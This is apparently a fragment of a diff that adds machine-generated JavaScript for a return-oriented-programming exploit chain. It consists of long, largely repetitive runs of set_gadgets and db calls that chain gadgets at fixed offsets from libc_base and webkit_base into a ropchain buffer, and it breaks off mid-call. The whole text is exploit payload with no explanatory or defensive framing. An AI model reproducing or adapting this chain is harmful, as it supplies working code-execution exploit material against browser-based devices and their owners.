+set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+269752, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+269824, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+269896, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+269968, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+270040, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+270112, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+270184, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+270256, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+270328, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+270400, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+270472, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+270544, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+270616, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+270688, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+270760, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+270832, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+270904, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+270976, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+271048, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+271120, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+271192, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+271264, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+271336, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+271408, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+271480, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+271552, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+271624, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+271696, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+271768, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+271840, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+271912, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+271984, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+272056, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+272128, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+272200, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+272272, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+272344, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+272416, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+272488, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+272560, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+272632, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+272704, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+272776, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+272848, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+272920, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+272992, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+273064, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+273136, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+273208, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+273280, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+273352, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+273424, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+273496, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+273568, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+273640, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+273712, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+273784, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+273856, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+273928, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+274000, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+274072, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+274144, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+274216, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+274288, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+274360, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+274432, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+274504, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+274576, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+274648, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+274720, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+274792, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+274864, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+274936, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+275008, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+275080, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+275152, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+275224, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+275296, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+275368, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+275440, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+275512, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+275584, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+275656, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+275728, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+275800, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+275872, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+275944, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+276016, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+276088, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+276160, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+276232, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+276304, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+276376, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+276448, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+276520, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+276592, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+276664, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+276736, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+276808, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+276880, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+276952, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+277024, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+277096, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+277168, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+277240, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+277312, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+277384, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+277456, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+740138, +libc_base+713278 +]); +db([4294967040, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+277552, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+887232, +libc_base+388400, +libc_base+713278, +ropchain+277624, +webkit_base+4687784, +libc_base+768796 +]); +db([256, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+277720, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967040, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+277832, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+248952, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+277920, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967036, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+277984, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+740138, +libc_base+713278 +]); +db([4294967028, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+278088, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+278144, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+278208, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967028, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+278296, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+278312, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+278472, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+278504, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+278456, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+278488, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+278584, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+278600, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+278696, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+278680, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+278792, +webkit_base+4687784, +libc_base+768796 +]); +db([32, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([32, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+278936, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+278952, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+278920, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+279128, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+279144, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+279112, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+279272, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+279304, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+279288, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+279416, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+279408, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+279432, +ropchain+279448, +libc_base+489696, +ropchain+279464, +libc_base+489696, +ropchain+287128, +libc_base+713278, +ropchain+279520, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([40, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+279608, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+279624, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+279768, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+279736, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+279752, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+279864, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967040, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+279944, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+280000, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, 